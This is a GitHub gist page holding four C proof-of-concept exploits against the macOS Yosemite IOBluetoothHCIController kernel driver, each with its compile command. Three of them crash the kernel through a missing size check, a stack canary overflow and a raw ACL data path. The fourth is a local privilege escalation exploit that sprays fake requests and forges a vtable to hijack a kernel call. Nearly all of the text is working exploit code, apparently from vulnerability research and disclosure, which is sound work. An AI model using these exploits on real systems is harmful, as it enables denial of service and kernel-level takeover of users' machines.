Created
January 13, 2015 05:08
-
-
Save TheCjw/b90649022c3181c1a7ff to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* crash-issue1.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick. | |
* | |
* Exploits a missing check in | |
* IOBluetoothHCIUserClient::DispatchHCICreateConnection() causing a panic. | |
* | |
* gcc -Wall -o crash-issue1{,.c} -framework IOKit | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <mach/mach.h> | |
#include <mach/vm_map.h> | |
#include <IOKit/IOKitLib.h> | |
#define SIZE 0x1000 | |
struct BluetoothCall { | |
uint64_t args[7]; | |
uint64_t sizes[7]; | |
uint64_t index; | |
}; | |
int main(void) { | |
/* Finding vuln service */ | |
io_service_t service = | |
IOServiceGetMatchingService(kIOMasterPortDefault, | |
IOServiceMatching("IOBluetoothHCIController")); | |
if (!service) { | |
return -1; | |
} | |
/* Connect to vuln service */ | |
io_connect_t port = (io_connect_t) 0; | |
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); | |
IOObjectRelease(service); | |
if (kr != kIOReturnSuccess) { | |
return kr; | |
} | |
printf(" [+] Opened connection to service on port: %d\n", port); | |
struct BluetoothCall a; | |
int i; | |
for (i=0; i<7; i++) { | |
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); | |
a.sizes[i] = SIZE; | |
} | |
/* This value causes IOMalloc() to fail */ | |
a.args[6] = 0x0; | |
a.sizes[6] = 0x80000041; | |
a.index = 0x06; /* DispatchHCICreateConnection() */ | |
for(i = 0; i < 120; i++) { | |
if(i % 8 == 0) printf("\n"); | |
printf("\\x%02x", ((unsigned char *)&a)[i]); | |
} | |
printf("\n"); | |
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ | |
(uint32_t) 0, /* Selector */ | |
NULL, 0, /* input, inputCnt */ | |
(const void*) &a, /* inputStruct */ | |
120, /* inputStructCnt */ | |
NULL, NULL, NULL, NULL); /* Output stuff */ | |
printf("kr: %08x\n", kr); | |
return IOServiceClose(port); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* crash-issue2.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick. | |
* | |
* Triggers a panic overwriting a stack_canary. | |
* | |
* gcc -Wall -o crash-issue2{,.c} -framework IOKit | |
* | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <mach/mach.h> | |
#include <mach/vm_map.h> | |
#include <IOKit/IOKitLib.h> | |
struct BluetoothCall { | |
uint64_t args[7]; | |
uint64_t sizes[7]; | |
uint64_t index; | |
}; | |
int main(void) { | |
/* Finding vuln service */ | |
io_service_t service = | |
IOServiceGetMatchingService(kIOMasterPortDefault, | |
IOServiceMatching("IOBluetoothHCIController")); | |
if (!service) { | |
return -1; | |
} | |
/* Connect to vuln service */ | |
io_connect_t port = (io_connect_t) 0; | |
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); | |
IOObjectRelease(service); | |
if (kr != kIOReturnSuccess) { | |
return kr; | |
} | |
printf(" [+] Opened connection to service on port: %d\n", port); | |
struct BluetoothCall a; | |
a.sizes[0] = 0x1000; | |
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char)); | |
/* This arguments overflows a local buffer and the adjacent stack canary */ | |
a.sizes[1] = 264; | |
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char)); | |
memset((void *)a.args[1], 'A', a.sizes[1]); | |
/* Call IOBluetoothHCIUserClient::DispatchHCIReadLocalName() */ | |
a.index = 0x2d; | |
/* Debug */ | |
for(int i = 0; i < 120; i++) { | |
if(i % 8 == 0) printf("\n"); | |
printf("\\x%02x", ((unsigned char *)&a)[i]); | |
} | |
printf("\n"); | |
fflush(stdout); | |
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ | |
(uint32_t) 0, /* Selector */ | |
NULL, 0, /* input, inputCnt */ | |
(const void*) &a, /* inputStruct */ | |
sizeof(a), /* inputStructCnt */ | |
NULL, NULL, NULL, NULL); /* Output stuff */ | |
printf("kr: %08x\n", kr); | |
return IOServiceClose(port); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* crash-issue3.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick. | |
* | |
* Exploits a missing check in | |
* IOBluetoothHCIController::TransferACLPacketToHW() to trigger a panic. | |
* | |
* gcc -Wall -o crash-issue3{,.c} -framework IOKit | |
* | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <mach/mach.h> | |
#include <mach/vm_map.h> | |
#include <IOKit/IOKitLib.h> | |
struct BluetoothCall { | |
uint64_t args[7]; | |
uint64_t sizes[7]; | |
uint64_t index; | |
}; | |
int main(void) { | |
/* Finding vuln service */ | |
io_service_t service = | |
IOServiceGetMatchingService(kIOMasterPortDefault, | |
IOServiceMatching("IOBluetoothHCIController")); | |
if (!service) { | |
return -1; | |
} | |
/* Connect to vuln service */ | |
io_connect_t port = (io_connect_t) 0; | |
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); | |
IOObjectRelease(service); | |
if (kr != kIOReturnSuccess) { | |
return kr; | |
} | |
printf(" [+] Opened connection to service on port: %d\n", port); | |
struct BluetoothCall a; | |
memset(&a, 0, sizeof(a)); | |
a.sizes[0] = 0x1000; | |
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char)); | |
a.sizes[1] = 0x1000; | |
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char)); | |
memset((void *)a.args[1], 0x22, 0x1000); | |
/* Call DispatchHCISendRawACLData() */ | |
a.index = 0x63; | |
/* Debug */ | |
for(int i = 0; i < 120; i++) { | |
if(i % 8 == 0) printf("\n"); | |
printf("\\x%02x", ((unsigned char *)&a)[i]); | |
} | |
printf("\n"); | |
fflush(stdout); | |
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ | |
(uint32_t) 0, /* Selector */ | |
NULL, 0, /* input, inputCnt */ | |
(const void*) &a, /* inputStruct */ | |
sizeof(a), /* inputStructCnt */ | |
NULL, NULL, NULL, NULL); /* Output stuff */ | |
printf("kr: %08x\n", kr); | |
return IOServiceClose(port); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* lpe-issue1.c | |
* Written for Mac OS X Yosemite (10.10.1) by @joystick and @rpaleari. | |
* | |
* Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() | |
* | |
* gcc -Wall -o lpe-issue1{,.c} -framework IOKit | |
* | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <mach/mach.h> | |
#include <mach/vm_map.h> | |
#include <IOKit/IOKitLib.h> | |
#define SIZE 0x1000 | |
struct BluetoothCall { | |
uint64_t args[7]; | |
uint64_t sizes[7]; | |
uint64_t index; | |
}; | |
#ifndef bswap64 | |
# define bswap64(num) \ | |
( (((uint64_t)(num) << 56) ) \ | |
| (((uint64_t)(num) << 40) & UINT64_C(0x00FF000000000000)) \ | |
| (((uint64_t)(num) << 24) & UINT64_C(0x0000FF0000000000)) \ | |
| (((uint64_t)(num) << 8) & UINT64_C(0x000000FF00000000)) \ | |
| (((uint64_t)(num) >> 8) & UINT64_C(0x00000000FF000000)) \ | |
| (((uint64_t)(num) >> 24) & UINT64_C(0x0000000000FF0000)) \ | |
| (((uint64_t)(num) >> 40) & UINT64_C(0x000000000000FF00)) \ | |
| (((uint64_t)(num) >> 56) ) ) | |
#endif | |
void create_requests(io_connect_t port) | |
{ | |
struct BluetoothCall a; | |
uint32_t i; | |
kern_return_t kr; | |
for (i = 0; i < 7; i++) { | |
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); | |
a.sizes[i] = SIZE; | |
} | |
/* DispatchHCIRequestCreate() */ | |
a.index = 0x0; | |
*(uint64_t *)a.args[0] = 5*1000; /* Timeout */ | |
memset((void *)a.args[1], 0x81, 0x1000); | |
memset((void *)a.args[2], 0x82, 0x1000); | |
memset((void *)a.args[3], 0x83, 0x1000); | |
memset((void *)a.args[4], 0x84, 0x1000); | |
memset((void *)a.args[5], 0x85, 0x1000); | |
memset((void *)a.args[6], 0x86, 0x1000); | |
for(i = 0; i < 500; i++) { | |
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ | |
(uint32_t) 0, /* Selector */ | |
NULL, 0, /* input, inputCnt */ | |
(const void*) &a, /* inputStruct */ | |
120, /* inputStructCnt */ | |
NULL, NULL, NULL, NULL); /* Output stuff */ | |
if(kr == 0xe00002bd) /* Full */ | |
break; | |
} | |
} | |
int main(void) { | |
struct BluetoothCall a; | |
int i; | |
void *landing_page = calloc(SIZE, sizeof(char)); | |
/* Init a */ | |
for (i = 0; i < 7; i++) { | |
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); | |
a.sizes[i] = SIZE; | |
} | |
/* Finding vuln service */ | |
io_service_t service = | |
IOServiceGetMatchingService(kIOMasterPortDefault, | |
IOServiceMatching("IOBluetoothHCIController")); | |
if (!service) { | |
return -1; | |
} | |
/* Connect to vuln service */ | |
io_connect_t port = (io_connect_t) 0; | |
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); | |
IOObjectRelease(service); | |
if (kr != kIOReturnSuccess) { | |
return kr; | |
} | |
/* Populating with fake requests. */ | |
create_requests(port); | |
/* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */ | |
a.index = 42; | |
/* Req number */ | |
*((uint32_t *)a.args[0]) = 1; | |
/* num_of_keys */ | |
*((uint32_t *)a.args[1]) = 0x20; | |
/* Padding */ | |
memset((void *)a.args[3], 0x33, 152); | |
/* mov rdi, [r14+0AB8h] */ | |
*((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page); | |
/* mov rax, [rdi] */ | |
*((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page; | |
/* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */ | |
*((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242; | |
/* Here some fixing to the vtable is required to return cleanly after the exploit */ | |
#if 0 | |
/* Debug print */ | |
for(i = 0; i < 120; i++) { | |
if(i % 8 == 0) printf("\n"); | |
printf("\\x%02x", ((unsigned char *)&a)[i]); | |
} | |
printf("\n"); | |
#endif | |
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ | |
(uint32_t) 0, /* Selector */ | |
NULL, 0, /* input, inputCnt */ | |
(const void*) &a, /* inputStruct */ | |
120, /* inputStructCnt */ | |
NULL, NULL, NULL, NULL); /* Output stuff */ | |
printf("kr: %08x\n", kr); | |
return IOServiceClose(port); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment